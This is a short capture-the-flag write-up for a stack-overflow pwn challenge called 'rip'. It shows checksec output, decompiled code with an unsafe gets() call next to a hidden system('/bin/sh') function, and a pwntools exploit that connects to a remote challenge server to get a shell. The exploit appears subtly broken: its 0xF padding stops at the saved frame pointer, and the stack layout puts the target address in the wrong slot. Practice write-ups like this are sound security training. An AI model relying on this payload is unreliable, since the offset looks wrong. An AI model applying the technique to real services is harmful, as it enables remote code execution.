HugeH4rD

rip

0x01

---

Ubuntu 18

checksec

$ checksec pwn1 
[*] '/home/zelas/Desktop/pwn/rip/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found 
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets((__int64)s, (__int64)argv); //gets函数存在栈溢出漏洞
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

存在可疑函数fun

int fun()
{
  return system("/bin/sh");
}
//0x401186

0x02

---

解题思路

1.利用gets处的溢出覆盖返回地址为fun

s	0XF
ebp	0x401186
ret

0x03

---

exp

from pwn import *

# io = process(['./pwn1'])
io = remote('node4.buuoj.cn',26530)

system_addr = 0x401186
padding = 0xF 
payload = b'a' * padding + p64(system_addr)

io.sendline(payload)
io.interactive()